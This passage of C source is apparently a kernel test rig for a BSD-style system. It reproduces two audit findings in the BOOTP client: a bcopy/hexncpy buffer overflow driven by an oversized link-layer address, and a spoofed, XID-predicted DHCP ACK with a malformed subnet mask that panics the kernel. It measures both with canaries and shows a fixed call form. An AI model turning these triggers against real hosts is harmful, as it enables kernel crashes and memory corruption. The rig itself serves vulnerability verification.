		kfree(ifctx, M_TEMP);
		kfree(gctx, M_TEMP);
		df_fake_ifnet_free();
		return;
	}

	bootpc_compose_query(ifctx, gctx, curthread);	/* VERBATIM */
	df_mark("DF3045: call.hlen=%d (call.hlen=sdl_alen at :1192)",
		ifctx->call.hlen);
	ch = ifctx->call.chaddr;
	kprintf("DF3045: call.chaddr[0..23] =");
	for (i = 0; i < 24; i++)
		kprintf(" %02x", ch[i]);
	kprintf("\nDF3045: chaddr member is 16 bytes; chaddr[16] (== "
		"call.sname[0]) = %02x, expected MAC byte 0x%02x -> "
		"bcopy at :1197 overran chaddr[16] by %d byte(s)\n",
		ch[16], (u_char)(0x40 + 16), alen - 16);
	df_mark("DF3045: bcopy overran chaddr[16] by %d byte(s): "
		"call.sname[0]=%02x == MAC[16]=%02x",
		alen - 16, ch[16], (u_char)(0x40 + 16));

	gctx->interfaces = ifctx;
	df_reset_script();
	df_mode = DF_MODE_BLIND;
	df_from_port = 9999;
	bcopy(LLADDR(df_fake_sdl), df_cl_mac, alen);
	df_cl_hlen = alen;
	df_pred_base = 0xFFFF0000u;
	error = bootpc_call(gctx, curthread);		/* VERBATIM matcher */
	df_mark("DF3045: matcher bcmp len=%d (%d byte(s) past chaddr[15] "
		"read on BOTH sides), bootpc_call error=%d",
		(int)df_bcmp_last_n, (int)df_bcmp_last_n - 16, error);
	kfree(gctx, M_TEMP);
	kfree(ifctx, M_TEMP);
	df_fake_ifnet_free();
}

/* ---------------- DF-3044 panic manifestation ------------------------- */
static void
df_test4(void)
{
	df_save_global_state();
	df_reset_script();
	df_mode = DF_MODE_BLIND;
	df_from_port = 9999;
	df_badmask = 1;
	df_predict();
	kprintf("dfrig12: DF3044 T4: predicted-XID ACK with "
		"TAG_SUBNETMASK len=3 from 6.6.6.6:9999 -> expect verbatim "
		"panic 'bootpc: subnet mask len is 3' "
		"(bootp_subr.c:1390)\n");
	bootpc_init();			/* VERBATIM: panics inside */
	kprintf("dfrig12: DF3044 T4: returned WITHOUT panic?!\n");
}

/* ---------------- DF-3045 hexncpy call-form primitive ------------------ */
static volatile struct {
	u_char pre[32];
	u_char hexstr[64];
	u_char post[256];
} df5;

static void
df5_fill(void)
{
	int i;

	for (i = 0; i < 32; i++)
		df5.pre[i] = 0xAA;
	for (i = 0; i < 64; i++)
		df5.hexstr[i] = 0;
	for (i = 0; i < 256; i++)
		df5.post[i] = 0xBB;
}

static char *
df5_buf(volatile u_char *p)
{
	return (char *)(uintptr_t)p;
}

static int
df5_smashed(int *first, int *last)
{
	int i, n = 0;

	*first = *last = -1;
	for (i = 0; i < 256; i++) {
		if (df5.post[i] != 0xBB) {
			if (*first < 0)
				*first = i;
			*last = i;
			n++;
		}
	}
	return n;
}

static void
df_test5(void)
{
	struct sockaddr_dl *sdl;
	int n, first, last;

	sdl = kmalloc(sizeof(*sdl) + 256, M_TEMP, M_WAITOK | M_ZERO);
	sdl->sdl_family = AF_LINK;
	sdl->sdl_type = IFT_ETHER;
	sdl->sdl_alen = 22;
	{
		int i;

		for (i = 0; i < 256; i++)
			LLADDR(sdl)[i] = i;
	}

	/* phase A: minimum triggering alen (22) -- as-shipped call form */
	df5_fill();
	sdl->sdl_alen = 22;
	hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr),
	    HEX_NCPYLEN(sdl->sdl_alen), ":");
	n = df5_smashed(&first, &last);
	df_mark("DF3045 T5a: as-shipped form alen=22: HEX_NCPYLEN=66 into "
		"64-byte buffer: %d byte(s) past end (offsets %d..%d), "
		"pre intact=%d", n, first, last, df5.pre[0] == 0xAA);

	/* phase B: alen=106, still fully inside the post canary */
	df5_fill();
	sdl->sdl_alen = 106;
	hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr),
	    HEX_NCPYLEN(sdl->sdl_alen), ":");
	n = df5_smashed(&first, &last);
	df_mark("DF3045 T5b: alen=106: footprint=318: %d smashed bytes "
		"(offsets %d..%d), next intact post[%d]=0x%02x "
		"(scaling: alen=255 -> 701 bytes past end)", n, first, last,
		last + 1, df5.post[last + 1]);

	/* phase C: fixed call form -- bound by sizeof(hexstr) */
	df5_fill();
	sdl->sdl_alen = 106;
	hexncpy((u_char *)LLADDR(sdl), sdl->sdl_alen, df5_buf(df5.hexstr),
	    sizeof(df5.hexstr), ":");
	n = df5_smashed(&first, &last);
	df_mark("DF3045 T5c: fixed form (outlen=sizeof(hexstr)=64): %d "
		"smashed byte(s) past end (expected 0), pre intact=%d", n,
		df5.pre[0] == 0xAA);
	kfree(sdl, M_TEMP);
}

/* ---------------- DF-3045 in-situ full magnitude ---------------------- */
static void
df_test50(void)
{
	kprintf("dfrig12: DF3045 T50: in-situ bootpc_call with sdl_alen=255: "
		"hexncpy at :718-720 writes 765 bytes from hexstr[64] inside "
		"bootpc_call's own frame -> expect fatal trap\n");
	df_test3(255);
	kprintf("dfrig12: DF3045 T50: SURVIVED bootpc_call (unexpected; "
		"see T5 canary measurement)\n");
}

/* ---------------- sysctl dispatch -------------------------------------- */
static int
sysctl_df_test(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = df_testno;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	df_testno = t;
	df_status[0] = '\0';
	kprintf("dfrig12: === test %d begin ===\n", t);
	switch (t) {
	case 1:
		df_test1();
		break;
	case 2:
		df_test2(DF_MODE_BLIND, 9999);
		break;
	case 20:
		df_test2(DF_MODE_WRONGXID, 9999);
		break;
	case 21:
		df_test2(DF_MODE_SNIFF, 9999);
		break;
	case 22:
		df_test2(DF_MODE_SNIFF, 67);
		break;
	case 3:
		df_test3(17);
		break;
	case 4:
		df_test4();
		break;
	case 5:
		df_test5();
		break;
	case 50:
		df_test50();
		break;
	default:
		strlcpy(df_status, "unknown test", sizeof(df_status));
		break;
	}
	kprintf("dfrig12: === test %d end ===\n", t);
	return 0;
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig12, CTLTYPE_INT | CTLFLAG_RW,
    &df_testno, 0, sysctl_df_test, "I", "DF rig 12 (bootp) test selector");
SYSCTL_STRING(_kern, OID_AUTO, dfrig12_status, CTLFLAG_RD,
    df_status, 0, "DF rig 12 last-test status markers");
